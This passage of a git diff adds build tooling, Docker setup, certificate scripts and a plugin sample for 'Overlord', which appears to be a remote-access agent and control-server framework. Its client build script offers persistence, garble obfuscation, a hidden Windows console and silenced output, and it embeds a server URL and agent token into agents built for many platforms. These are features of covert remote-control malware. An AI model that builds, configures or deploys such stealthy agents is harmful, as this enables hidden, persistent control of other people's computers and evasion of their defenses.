UI side (JS) + +- call `/api/clients//plugins//event` +- show responses via your own UI (or poll your own endpoints) + +See: + +- plugin-sample-go/sample.js + +--- + +If you want a deeper walkthrough of a specific plugin type (file explorer, custom telemetry, or a remote-desktop clone), say which one and I’ll expand that section. diff --git a/README.md b/README.md new file mode 100644 index 0000000..bd781c5 --- /dev/null +++ b/README.md @@ -0,0 +1,64 @@ +# Overlord + +# [TELEGRAM SERVER JOIN NOW NO EXCUSES WE GIVE SUPPORT AND IT'S FUN](https://t.me/WindowsBatch) + +Hello, I made this project for fun. + +Just use docker please the src is fine to use as well but you need golang, bun, garble and openssl. + +To use docker copy the docker-compose.yml to your working directory and run + +```sh +docker compose up +``` + +On first startup, if secrets are not provided through environment variables, +Overlord generates them and persists them to `data/save.json` (inside Docker: +`/app/data/save.json`). This includes: + +- JWT signing secret +- Agent auth token +- Initial admin bootstrap password + +Keep `save.json` private and backed up. Use values from that file if you need +to recover bootstrap access. + +to update run + +```sh +docker compose pull +``` + +It's literally just docker any question chatgpt can answer so don't worry. + +## Production package (Windows) + +Build a production-ready package where the server can still build client binaries at runtime: + +```bat +build-prod-package.bat +``` + +Linux/macOS: + +```bash +./build-prod-package.sh +``` + +Windows output folder: + +```text +release +``` + +Windows package includes: +- `Overlord-Client` +- `overlord-server.exe` +- `overlord-server-linux-x64` +- `start-prod-release.bat` +- `start-prod-release.sh` +- `public` + +`build-prod-package.bat` also minifies `public/assets/*.js` into the release package. + +Note: both packaging scripts always skip building client binaries and export `Overlord-Client` source for runtime builds. \ No newline at end of file diff --git a/build-clients.bat b/build-clients.bat new file mode 100644 index 0000000..f912036 --- /dev/null +++ b/build-clients.bat @@ -0,0 +1,143 @@ +@echo off +setlocal +set ROOT=%~dp0 +set CLIENT_DIR=%ROOT%Overlord-Client +set OUT_DIR=%ROOT%dist-clients + +if not defined ENABLE_PERSISTENCE set ENABLE_PERSISTENCE=false +if not defined OBFUSCATE set OBFUSCATE=false +if not defined HIDE_CONSOLE set HIDE_CONSOLE=false +if not defined NO_PRINTING set NO_PRINTING=false + +set "GARBLE_FLAGS=" + +REM Build LDFLAGS with all custom settings +set "LDFLAGS=-s -w" + +set "BUILD_TAGS=" +if "%NO_PRINTING%"=="true" ( + echo Building with printing disabled + set "BUILD_TAGS=-tags noprint" +) + +if "%ENABLE_PERSISTENCE%"=="true" ( + echo Building with persistence enabled + set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultPersistence=true" +) + +if not "%SERVER_URL%"=="" ( + echo Building with custom server URL: %SERVER_URL% + set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultServerURL=%SERVER_URL%" +) + +if not "%CLIENT_ID%"=="" ( + echo Building with custom client ID: %CLIENT_ID% + set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultID=%CLIENT_ID%" +) + +if not "%CLIENT_COUNTRY%"=="" ( + echo Building with custom country: %CLIENT_COUNTRY% + set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultCountry=%CLIENT_COUNTRY%" +) + +if "%OVERLORD_AGENT_TOKEN%"=="" ( + set "SAVE_JSON=%APPDATA%\Overlord\save.json" + if exist "%SAVE_JSON%" ( + for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "$p='%SAVE_JSON%'; try { $j = Get-Content -Raw -LiteralPath $p | ConvertFrom-Json; $t = $j.auth.agentToken; if ($t) { [Console]::Write($t) } } catch {}"`) do set "OVERLORD_AGENT_TOKEN=%%I" + ) +) + +if not "%OVERLORD_AGENT_TOKEN%"=="" ( + echo Embedding agent token from environment/save.json + set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultAgentToken=%OVERLORD_AGENT_TOKEN%" +) + +echo LDFLAGS: %LDFLAGS% + +set "WIN_LDFLAGS=" +if "%HIDE_CONSOLE%"=="true" ( + echo Windows console hidden (GUI subsystem) + set "WIN_LDFLAGS=-H=windowsgui" +) + +set "BUILD_CMD=go build" +if "%OBFUSCATE%"=="true" ( + where garble >nul 2>&1 + if errorlevel 1 ( + echo garble not found. Install with: go install mvdan.cc/garble@latest + exit /b 1 + ) + echo Obfuscation enabled (garble) + set "BUILD_CMD=garble build %GARBLE_FLAGS%" +) + +if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" + +pushd "%CLIENT_DIR%" +echo == Building agent for windows amd64 == +set GOOS=windows +set GOARCH=amd64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-amd64.exe" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for windows x86 == +set GOOS=windows +set GOARCH=386 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-386.exe" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for windows arm64 == +set GOOS=windows +set GOARCH=arm64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-arm64.exe" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for linux amd64 == +set GOOS=linux +set GOARCH=amd64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-amd64" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for linux arm64 == +set GOOS=linux +set GOARCH=arm64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-arm64" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for linux arm (armv7) == +set GOOS=linux +set GOARCH=arm +set GOARM=7 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-armv7" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for darwin arm64 == +set GOOS=darwin +set GOARCH=arm64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-arm64" ./cmd/agent +if errorlevel 1 goto :err + +echo == Building agent for darwin amd64 == +set GOOS=darwin +set GOARCH=amd64 +set CGO_ENABLED=0 +%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-amd64" ./cmd/agent +if errorlevel 1 goto :err + +echo Builds complete. Outputs in %OUT_DIR% +goto :eof + +:err +echo Build failed. See errors above. +exit /b 1 + +:eof +popd +endlocal diff --git a/build-plugin.bat b/build-plugin.bat new file mode 100644 index 0000000..646f61f --- /dev/null +++ b/build-plugin.bat @@ -0,0 +1,47 @@ +@echo off +setlocal enabledelayedexpansion + +set "ROOT=%~dp0" +set "PLUGIN_DIR=%ROOT%plugin-sample-go" +if not "%~1"=="" set "PLUGIN_DIR=%~1" + +set "WASM_DIR=%PLUGIN_DIR%\wasm" +set "PLUGIN_NAME=sample" +set "WASM_OUT=%PLUGIN_DIR%\%PLUGIN_NAME%.wasm" +set "ZIP_OUT=%PLUGIN_DIR%\%PLUGIN_NAME%.zip" + +if not exist "%WASM_DIR%" ( + echo [error] wasm folder not found: %WASM_DIR% + exit /b 1 +) + +pushd "%WASM_DIR%" + +echo [build] go build -o "%WASM_OUT%" (GOOS=wasip1 GOARCH=wasm) +set "GOOS=wasip1" +set "GOARCH=wasm" +go build -o "%WASM_OUT%" . +set "GOOS=" +set "GOARCH=" +if errorlevel 1 ( + echo [warn] go build failed, trying tinygo + echo [build] tinygo build -o "%WASM_OUT%" -target wasi -scheduler=none -gc=leaking . + tinygo build -o "%WASM_OUT%" -target wasi -scheduler=none -gc=leaking . + if errorlevel 1 ( + echo [error] tinygo build failed + popd + exit /b 1 + ) +) + +popd + +if exist "%ZIP_OUT%" del /f /q "%ZIP_OUT%" + +powershell -NoProfile -Command "Compress-Archive -Path '%PLUGIN_DIR%\%PLUGIN_NAME%.wasm','%PLUGIN_DIR%\%PLUGIN_NAME%.html','%PLUGIN_DIR%\%PLUGIN_NAME%.css','%PLUGIN_DIR%\%PLUGIN_NAME%.js' -DestinationPath '%ZIP_OUT%'" +if errorlevel 1 ( + echo [error] zip failed + exit /b 1 +) + +echo [ok] %ZIP_OUT% diff --git a/build-plugin.sh b/build-plugin.sh new file mode 100644 index 0000000..06a5991 --- /dev/null +++ b/build-plugin.sh @@ -0,0 +1,36 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PLUGIN_DIR="${1:-${ROOT_DIR}/plugin-sample-go}" +WASM_DIR="${PLUGIN_DIR}/wasm" +PLUGIN_NAME="sample" +WASM_OUT="${PLUGIN_DIR}/${PLUGIN_NAME}.wasm" +ZIP_OUT="${PLUGIN_DIR}/${PLUGIN_NAME}.zip" + +if [[ ! -d "${WASM_DIR}" ]]; then + echo "[error] wasm folder not found: ${WASM_DIR}" >&2 + exit 1 +fi + +pushd "${WASM_DIR}" >/dev/null + +echo "[build] go build -o ${WASM_OUT} (GOOS=wasip1 GOARCH=wasm)" +if ! GOOS=wasip1 GOARCH=wasm go build -o "${WASM_OUT}" .; then + echo "[warn] go build failed, trying tinygo" + echo "[build] tinygo build -o ${WASM_OUT} -target wasi -scheduler=none -gc=leaking ." + tinygo build -o "${WASM_OUT}" -target wasi -scheduler=none -gc=leaking . +fi + +popd >/dev/null + +rm -f "${ZIP_OUT}" + +if command -v zip >/dev/null 2>&1; then + (cd "${PLUGIN_DIR}" && zip -q "${ZIP_OUT}" "${PLUGIN_NAME}.wasm" "${PLUGIN_NAME}.html" "${PLUGIN_NAME}.css" "${PLUGIN_NAME}.js") +else + echo "[error] zip not found. Please install zip." >&2 + exit 1 +fi + +echo "[ok] ${ZIP_OUT}" diff --git a/build-prod-package.bat b/build-prod-package.bat new file mode 100644 index 0000000..443abda --- /dev/null +++ b/build-prod-package.bat @@ -0,0 +1,126 @@ +@echo off +setlocal EnableExtensions +set "ROOT=%~dp0" +set "SERVER_SRC=%ROOT%Overlord-Server" +set "CLIENT_SRC=%ROOT%Overlord-Client" +set "RELEASE_DIR=%ROOT%release" + +if not exist "%SERVER_SRC%\package.json" ( + echo [error] Overlord-Server not found at: %SERVER_SRC% + exit /b 1 +) + +if not exist "%CLIENT_SRC%\go.mod" ( + echo [error] Overlord-Client not found at: %CLIENT_SRC% + exit /b 1 +) + +where bun >nul 2>&1 +if errorlevel 1 ( + echo [error] bun was not found in PATH. + exit /b 1 +) + +where go >nul 2>&1 +if errorlevel 1 ( + echo [error] go was not found in PATH. + exit /b 1 +) + +echo [1/10] Building server bundle... +pushd "%SERVER_SRC%" +call bun install +if errorlevel 1 goto :err +call bun run build:css +if errorlevel 1 goto :err +call bun run build +if errorlevel 1 goto :err +echo [2/10] Compiling Windows production executable... +call bun run build:prod:win +if errorlevel 1 goto :err +echo [3/10] Compiling Linux production executable... +call bun run build:prod:linux +if errorlevel 1 goto :err +popd + +echo [4/10] Skipping prebuilt client binaries ^(prod package exports client source only^) + +echo [5/10] Preparing release folder... +if exist "%RELEASE_DIR%" rmdir /s /q "%RELEASE_DIR%" +mkdir "%RELEASE_DIR%" +if errorlevel 1 goto :err + +echo [6/10] Copying compiled server executables... +copy /Y "%SERVER_SRC%\dist\overlord-server.exe" "%RELEASE_DIR%\overlord-server.exe" >nul +if errorlevel 1 goto :err +copy /Y "%SERVER_SRC%\dist\overlord-server-linux-x64" "%RELEASE_DIR%\overlord-server-linux-x64" >nul +if errorlevel 1 goto :err + +echo [7/10] Exporting Overlord-Client source for runtime builds... +robocopy "%CLIENT_SRC%" "%RELEASE_DIR%\Overlord-Client" /E /XD build .git .vscode >nul +if errorlevel 8 goto :robocopy_err + +echo [8/10] Copying required public web assets... +robocopy "%SERVER_SRC%\public" "%RELEASE_DIR%\public" /E >nul +if errorlevel 8 goto :robocopy_err + +echo [9/10] Minifying public JavaScript assets... +for %%F in ("%SERVER_SRC%\public\assets\*.js") do ( + call bun build --minify --no-bundle --target=browser --outfile "%RELEASE_DIR%\public\assets\%%~nxF" "%%~fF" >nul + if errorlevel 1 goto :err +) + +echo [10/10] Creating runner scripts... + +( + echo @echo off + echo setlocal + echo set "ROOT=%%~dp0" + echo if not defined HOST set HOST=0.0.0.0 + echo if not defined PORT set PORT=5173 + echo if not defined LOG_LEVEL set LOG_LEVEL=info + echo if not defined NODE_ENV set NODE_ENV=production + echo if not defined OVERLORD_ROOT set OVERLORD_ROOT=%%ROOT%% + echo pushd "%%ROOT%%" + echo call "%%ROOT%%overlord-server.exe" + echo popd + echo endlocal +) > "%RELEASE_DIR%\start-prod-release.bat" + +> "%RELEASE_DIR%\start-prod-release.sh" echo #!/usr/bin/env bash +>> "%RELEASE_DIR%\start-prod-release.sh" echo set -euo pipefail +>> "%RELEASE_DIR%\start-prod-release.sh" echo ROOT="${0%%/*}" +>> "%RELEASE_DIR%\start-prod-release.sh" echo [ "$ROOT" = "$0" ] ^&^& ROOT="." +>> "%RELEASE_DIR%\start-prod-release.sh" echo cd "$ROOT" +>> "%RELEASE_DIR%\start-prod-release.sh" echo ROOT="$PWD" +>> "%RELEASE_DIR%\start-prod-release.sh" echo export HOST="${HOST:-0.0.0.0}" +>> "%RELEASE_DIR%\start-prod-release.sh" echo export PORT="${PORT:-5173}" +>> "%RELEASE_DIR%\start-prod-release.sh" echo export LOG_LEVEL="${LOG_LEVEL:-info}" +>> "%RELEASE_DIR%\start-prod-release.sh" echo export NODE_ENV="${NODE_ENV:-production}" +>> "%RELEASE_DIR%\start-prod-release.sh" echo export OVERLORD_ROOT="${OVERLORD_ROOT:-$ROOT}" +>> "%RELEASE_DIR%\start-prod-release.sh" echo chmod +x "$ROOT/overlord-server-linux-x64" ^|^| true +>> "%RELEASE_DIR%\start-prod-release.sh" echo "$ROOT/overlord-server-linux-x64" + +echo. +echo [ok] Production package created: +echo %RELEASE_DIR% +echo [ok] Compiled server executables: +echo %RELEASE_DIR%\overlord-server.exe +echo %RELEASE_DIR%\overlord-server-linux-x64 +echo [ok] Web assets: +echo %RELEASE_DIR%\public +echo. +echo Run this from the package folder: +echo start-prod-release.bat +echo Or on Linux: +echo chmod +x start-prod-release.sh overlord-server-linux-x64 ^&^& ./start-prod-release.sh +exit /b 0 + +:robocopy_err +echo [error] Copy operation failed ^(robocopy exit code %errorlevel%^) +exit /b 1 + +:err +popd >nul 2>&1 +echo [error] Build/package failed. +exit /b 1 diff --git a/build-prod-package.sh b/build-prod-package.sh new file mode 100644 index 0000000..5ffcfcf --- /dev/null +++ b/build-prod-package.sh @@ -0,0 +1,95 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SERVER_SRC="$ROOT/Overlord-Server" +CLIENT_SRC="$ROOT/Overlord-Client" +DIST_CLIENTS_SRC="$ROOT/dist-clients" +RELEASE_DIR="$ROOT/release/prod-package" + +if [[ ! -f "$SERVER_SRC/package.json" ]]; then + echo "[error] Overlord-Server not found at: $SERVER_SRC" >&2 + exit 1 +fi + +if [[ ! -f "$CLIENT_SRC/go.mod" ]]; then + echo "[error] Overlord-Client not found at: $CLIENT_SRC" >&2 + exit 1 +fi + +if ! command -v bun >/dev/null 2>&1; then + echo "[error] bun was not found in PATH." >&2 + exit 1 +fi + +if ! command -v go >/dev/null 2>&1; then + echo "[error] go was not found in PATH." >&2 + exit 1 +fi + +copy_tree_excluding() { + local src="$1" + local dst="$2" + shift 2 + + mkdir -p "$dst" + if command -v rsync >/dev/null 2>&1; then + local excludes=() + for pattern in "$@"; do + excludes+=(--exclude "$pattern") + done + rsync -a --delete "${excludes[@]}" "$src/" "$dst/" + else + local tar_excludes=() + for pattern in "$@"; do + tar_excludes+=("--exclude=$pattern") + done + (cd "$src" && tar "${tar_excludes[@]}" -cf - .) | (cd "$dst" && tar -xf -) + fi +} + +echo "[1/5] Building server bundle..." +pushd "$SERVER_SRC" >/dev/null +bun install +bun run build:css +bun run build +popd >/dev/null + +echo "[2/5] Skipping prebuilt client binaries (prod package exports client source only)" + +echo "[3/5] Preparing release folder..." +rm -rf "$RELEASE_DIR" +mkdir -p "$RELEASE_DIR" + +echo "[4/5] Exporting Overlord-Server..." +copy_tree_excluding "$SERVER_SRC" "$RELEASE_DIR/Overlord-Server" "node_modules" ".git" ".vscode" + +echo "[5/5] Exporting Overlord-Client source for runtime builds..." +copy_tree_excluding "$CLIENT_SRC" "$RELEASE_DIR/Overlord-Client" "build" ".git" ".vscode" + +if [[ -d "$DIST_CLIENTS_SRC" ]]; then + echo "[extra] Copying prebuilt dist-clients..." + mkdir -p "$RELEASE_DIR/dist-clients" + cp -a "$DIST_CLIENTS_SRC/." "$RELEASE_DIR/dist-clients/" +fi + +cat > "$RELEASE_DIR/start-prod-release.sh" <<'EOF' +#!/usr/bin/env bash +set -euo pipefail +ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +cd "$ROOT/Overlord-Server" +export HOST="${HOST:-0.0.0.0}" +export PORT="${PORT:-5173}" +export LOG_LEVEL="${LOG_LEVEL:-info}" +export NODE_ENV="${NODE_ENV:-production}" +bun install +bun run start +EOF +chmod +x "$RELEASE_DIR/start-prod-release.sh" + +echo +echo "[ok] Production package created:" +echo " $RELEASE_DIR" +echo +echo "Run this from the package folder:" +echo " ./start-prod-release.sh" diff --git a/docker-compose.quickstart.yml b/docker-compose.quickstart.yml new file mode 100644 index 0000000..ac99b84 --- /dev/null +++ b/docker-compose.quickstart.yml @@ -0,0 +1,42 @@ +services: + overlord-server: + image: ghcr.io/pulsarv2/overlord:latest + container_name: overlord-server + ports: + - "5173:5173" + environment: + # Optional username for first admin user + - OVERLORD_USER=admin + # Leave these empty to auto-generate and persist to /app/data/save.json + - OVERLORD_PASS= + - JWT_SECRET= + - OVERLORD_AGENT_TOKEN= + # Server settings + - PORT=5173 + - HOST=0.0.0.0 + # TLS paths (self-signed is auto-generated if not present) + - OVERLORD_TLS_CERT=/app/certs/server.crt + - OVERLORD_TLS_KEY=/app/certs/server.key + - OVERLORD_TLS_CA= + volumes: + - overlord-data:/app/data + - overlord-certs:/app/certs + # Uncomment to use a static config file instead of env vars + # - ./Overlord-Server/config.json:/app/config.json:ro + restart: unless-stopped + networks: + - overlord-network + healthcheck: + test: ["CMD", "curl", "-f", "-k", "https://localhost:5173/health"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 40s + +networks: + overlord-network: + driver: bridge + +volumes: + overlord-data: + overlord-certs: diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..a037cee --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,42 @@ +services: + overlord-server: + image: ${DOCKER_IMAGE:-ghcr.io/pulsarv2/overlord:latest} + container_name: overlord-server + ports: + - "${PORT:-5173}:5173" + environment: + PORT: ${PORT:-5173} + HOST: ${HOST:-0.0.0.0} + # Optional: set an explicit initial admin account. If OVERLORD_PASS is empty, + # the server generates one-time bootstrap secrets and stores them in /app/data/save.json. + OVERLORD_USER: ${OVERLORD_USER:-admin} + OVERLORD_PASS: ${OVERLORD_PASS:-} + # Optional overrides. If empty, generated and persisted to /app/data/save.json. + JWT_SECRET: ${JWT_SECRET:-} + OVERLORD_AGENT_TOKEN: ${OVERLORD_AGENT_TOKEN:-} + NODE_ENV: ${NODE_ENV:-production} + OVERLORD_TLS_CERT: ${OVERLORD_TLS_CERT:-/app/certs/server.crt} + OVERLORD_TLS_KEY: ${OVERLORD_TLS_KEY:-/app/certs/server.key} + OVERLORD_TLS_CA: ${OVERLORD_TLS_CA:-} + volumes: + - overlord-data:/app/data + - overlord-certs:/app/certs + # Uncomment to use a static config file instead of env vars + # - ./Overlord-Server/config.json:/app/config.json:ro + restart: unless-stopped + networks: + - overlord-network + healthcheck: + test: ["CMD", "curl", "-f", "-k", "https://localhost:5173/health"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 40s + +networks: + overlord-network: + driver: bridge + +volumes: + overlord-data: + overlord-certs: diff --git a/docker/agent-builder.Dockerfile b/docker/agent-builder.Dockerfile new file mode 100644 index 0000000..ecd6eb6 --- /dev/null +++ b/docker/agent-builder.Dockerfile @@ -0,0 +1,20 @@ +# Build Overlord agent binaries for multiple OS/architectures +FROM golang:1.22-bookworm AS builder + +WORKDIR /src/Overlord-Client + +# Disable CGO to keep builds fully static and portable +ENV CGO_ENABLED=0 + +# Pre-fetch modules for faster incremental builds +COPY Overlord-Client/go.mod Overlord-Client/go.sum ./ +RUN go mod download + +# Bring in the full source +COPY Overlord-Client/ ./ + +# Default build matrix and output path (override via environment) +ENV TARGETS="windows/amd64 windows/386 windows/arm64 linux/amd64 linux/arm64 linux/arm/v7 darwin/amd64 darwin/arm64" +ENV OUT_DIR=/out + +ENTRYPOINT ["/scripts/build-clients.sh"] diff --git a/generate-certs.bat b/generate-certs.bat new file mode 100644 index 0000000..788e56d --- /dev/null +++ b/generate-certs.bat @@ -0,0 +1,114 @@ +@echo off +REM Generate self-signed TLS certificates for Overlord (Windows) +REM Requires OpenSSL to be installed and in PATH + +setlocal EnableDelayedExpansion + +set CERT_DIR=.\certs +set DAYS=3650 +set COUNTRY=US +set STATE=State +set CITY=City +set ORG=Overlord +set ORG_UNIT=IT + +if "%~1"=="" ( + set COMMON_NAME=localhost +) else ( + set COMMON_NAME=%~1 +) + +echo ========================================= +echo Generating TLS Certificates for Overlord +echo ========================================= +echo Common Name: %COMMON_NAME% +echo Certificate Directory: %CERT_DIR% +echo Validity: %DAYS% days +echo. + +REM Check if OpenSSL is available +where openssl >nul 2>nul +if %ERRORLEVEL% neq 0 ( + echo ERROR: OpenSSL is not installed or not in PATH + echo. + echo Please install OpenSSL from: + echo - https://slproweb.com/products/Win32OpenSSL.html + echo - Or use Chocolatey: choco install openssl + echo - Or use Git Bash which includes OpenSSL + exit /b 1 +) + +REM Create certs directory if it doesn't exist +if not exist "%CERT_DIR%" mkdir "%CERT_DIR%" + +REM Generate private key +echo [1/3] Generating private key... +openssl genrsa -out "%CERT_DIR%\server.key" 2048 + +REM Generate certificate signing request +echo [2/3] Generating certificate signing request... +openssl req -new -key "%CERT_DIR%\server.key" -out "%CERT_DIR%\server.csr" -subj "/C=%COUNTRY%/ST=%STATE%/L=%CITY%/O=%ORG%/OU=%ORG_UNIT%/CN=%COMMON_NAME%" + +REM Generate self-signed certificate with SAN +echo [3/3] Generating self-signed certificate... +( +echo [req] +echo default_bits = 2048 +echo prompt = no +echo default_md = sha256 +echo distinguished_name = dn +echo req_extensions = req_ext +echo. +echo [dn] +echo C=%COUNTRY% +echo ST=%STATE% +echo L=%CITY% +echo O=%ORG% +echo OU=%ORG_UNIT% +echo CN=%COMMON_NAME% +echo. +echo [req_ext] +echo subjectAltName = @alt_names +echo. +echo [alt_names] +echo DNS.1 = %COMMON_NAME% +echo DNS.2 = localhost +echo DNS.3 = *.local +echo IP.1 = 127.0.0.1 +echo IP.2 = ::1 +) > "%CERT_DIR%\san.cnf" + +if not "%~2"=="" ( + echo IP.3 = %~2>> "%CERT_DIR%\san.cnf" + echo Added IP: %~2 +) + +openssl x509 -req -in "%CERT_DIR%\server.csr" -signkey "%CERT_DIR%\server.key" -out "%CERT_DIR%\server.crt" -days %DAYS% -sha256 -extfile "%CERT_DIR%\san.cnf" -extensions req_ext + +REM Clean up +del "%CERT_DIR%\server.csr" +del "%CERT_DIR%\san.cnf" + +echo. +echo ========================================= +echo ✓ Certificates generated successfully! +echo ========================================= +echo Certificate: %CERT_DIR%\server.crt +echo Private Key: %CERT_DIR%\server.key +echo. +echo To use these certificates: +echo 1. Set environment variable: set OVERLORD_TLS=true +echo 2. Optionally set custom paths: +echo set OVERLORD_TLS_CERT=%CERT_DIR%\server.crt +echo set OVERLORD_TLS_KEY=%CERT_DIR%\server.key +echo. +echo ⚠️ NOTE: Self-signed certificates require clients to: +echo - Skip certificate verification (insecure), OR +echo - Trust the server.crt certificate manually +echo. +echo For production, use proper certificates from: +echo - Let's Encrypt (free, automated) +echo - Your organization's certificate authority +echo ========================================= + +endlocal diff --git a/generate-certs.sh b/generate-certs.sh new file mode 100644 index 0000000..f3bd104 --- /dev/null +++ b/generate-certs.sh @@ -0,0 +1,109 @@ +#!/bin/bash +# Generate self-signed TLS certificates for Overlord +# For production, use proper certificates from Let's Encrypt or your CA + +set -e + +CERT_DIR="./certs" +DAYS=3650 # 10 years +COUNTRY="US" +STATE="State" +CITY="City" +ORG="Overlord" +ORG_UNIT="IT" +COMMON_NAME="${1:-localhost}" + +echo "=========================================" +echo "Generating TLS Certificates for Overlord" +echo "=========================================" +echo "Common Name: $COMMON_NAME" +echo "Certificate Directory: $CERT_DIR" +echo "Validity: $DAYS days" +echo "" + +# Create certs directory if it doesn't exist +mkdir -p "$CERT_DIR" + +# Generate private key +echo "[1/3] Generating private key..." +openssl genrsa -out "$CERT_DIR/server.key" 2048 + +# Generate certificate signing request (CSR) +echo "[2/3] Generating certificate signing request..." +openssl req -new \ + -key "$CERT_DIR/server.key" \ + -out "$CERT_DIR/server.csr" \ + -subj "/C=$COUNTRY/ST=$STATE/L=$CITY/O=$ORG/OU=$ORG_UNIT/CN=$COMMON_NAME" + +# Generate self-signed certificate with SAN (Subject Alternative Names) +echo "[3/3] Generating self-signed certificate..." +cat > "$CERT_DIR/san.cnf" << EOF +[req] +default_bits = 2048 +prompt = no +default_md = sha256 +distinguished_name = dn +req_extensions = req_ext + +[dn] +C=$COUNTRY +ST=$STATE +L=$CITY +O=$ORG +OU=$ORG_UNIT +CN=$COMMON_NAME + +[req_ext] +subjectAltName = @alt_names + +[alt_names] +DNS.1 = $COMMON_NAME +DNS.2 = localhost +DNS.3 = *.local +IP.1 = 127.0.0.1 +IP.2 = ::1 +EOF + +# Add additional IP if provided as second argument +if [ -n "$2" ]; then + echo "IP.3 = $2" >> "$CERT_DIR/san.cnf" + echo "Added IP: $2" +fi + +openssl x509 -req \ + -in "$CERT_DIR/server.csr" \ + -signkey "$CERT_DIR/server.key" \ + -out "$CERT_DIR/server.crt" \ + -days $DAYS \ + -sha256 \ + -extfile "$CERT_DIR/san.cnf" \ + -extensions req_ext + +# Clean up CSR and config +rm "$CERT_DIR/server.csr" "$CERT_DIR/san.cnf" + +# Set permissions +chmod 600 "$CERT_DIR/server.key" +chmod 644 "$CERT_DIR/server.crt" + +echo "" +echo "=========================================" +echo "✓ Certificates generated successfully!" +echo "=========================================" +echo "Certificate: $CERT_DIR/server.crt" +echo "Private Key: $CERT_DIR/server.key" +echo "" +echo "To use these certificates:" +echo " 1. Set environment variable: OVERLORD_TLS=true" +echo " 2. Optionally set custom paths:" +echo " OVERLORD_TLS_CERT=$CERT_DIR/server.crt" +echo " OVERLORD_TLS_KEY=$CERT_DIR/server.key" +echo "" +echo "⚠️ NOTE: Self-signed certificates require clients to:" +echo " - Skip certificate verification (insecure), OR" +echo " - Trust the server.crt certificate manually" +echo "" +echo "For production, use proper certificates from:" +echo " - Let's Encrypt (free, automated)" +echo " - Your organization's certificate authority" +echo "=========================================" diff --git a/go.work b/go.work new file mode 100644 index 0000000..6212492 --- /dev/null +++ b/go.work @@ -0,0 +1,6 @@ +go 1.24 + +use ( + ./Overlord-Client + ./plugin-sample-go/wasm +) diff --git a/plugin-sample-go/README.md b/plugin-sample-go/README.md new file mode 100644 index 0000000..b82c812 --- /dev/null +++ b/plugin-sample-go/README.md @@ -0,0 +1,49 @@ +# Sample Go WASM Plugin (sample) + +This sample lives at the repo root and builds a WASI-compatible Go plugin. + +## Files to include in the plugin zip + +At the root of the zip: +- sample.wasm +- sample.html +- sample.css +- sample.js + +## Build the WASM + +Recommended: Go WASI (most compatible with wazero) + +1) Build the WASM with Go 1.21+: + + GOOS=wasip1 GOARCH=wasm go build -o sample.wasm ./wasm + +2) Optional TinyGo fallback: + + tinygo build -o sample.wasm -target wasi -scheduler=none -gc=leaking ./wasm + +## Create the zip + +Create a zip named sample.zip containing: +- sample.wasm +- sample.html +- sample.css +- sample.js + +Then place sample.zip in Overlord-Server/plugins. + +## Open the UI + +Navigate to: +- /plugins/sample?clientId= + +Click "Send event" and the WASM plugin will echo back to the server logs. + +## OS detection (Windows-only logic) + +The plugin receives host metadata in the `init` payload. The sample plugin shows +how to detect the host OS and branch logic (see +[plugin-sample-go/wasm/main.go](plugin-sample-go/wasm/main.go)). For example: + +- If `host.os == "windows"`, you can safely run Windows-only flows (e.g., WinAPI-backed behavior). +- Otherwise, skip or provide a fallback path. diff --git a/plugin-sample-go/sample.css b/plugin-sample-go/sample.css new file mode 100644 index 0000000..edc8eaf --- /dev/null +++ b/plugin-sample-go/sample.css @@ -0,0 +1,89 @@ +:root { + color-scheme: dark; +} + +* { + box-sizing: border-box; +} + +body { + margin: 0; + font-family: "Segoe UI", system-ui, sans-serif; + background: #0f1115; + color: #e8ecf1; +} + +.container { + max-width: 820px; + margin: 40px auto; + padding: 0 20px; +} + +.header h1 { + margin: 0 0 4px 0; + font-size: 28px; +} + +.sub { + margin: 0 0 24px 0; + color: #9aa4b2; +} + +.card { + background: #161a22; + border: 1px solid #222938; + border-radius: 12px; + padding: 18px; + margin-bottom: 18px; + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); +} + +.row { + display: grid; + grid-template-columns: 120px 1fr; + gap: 12px; + align-items: center; + margin-bottom: 12px; +} + +.label { + color: #9aa4b2; + font-size: 14px; +} + +.input { + padding: 10px 12px; + 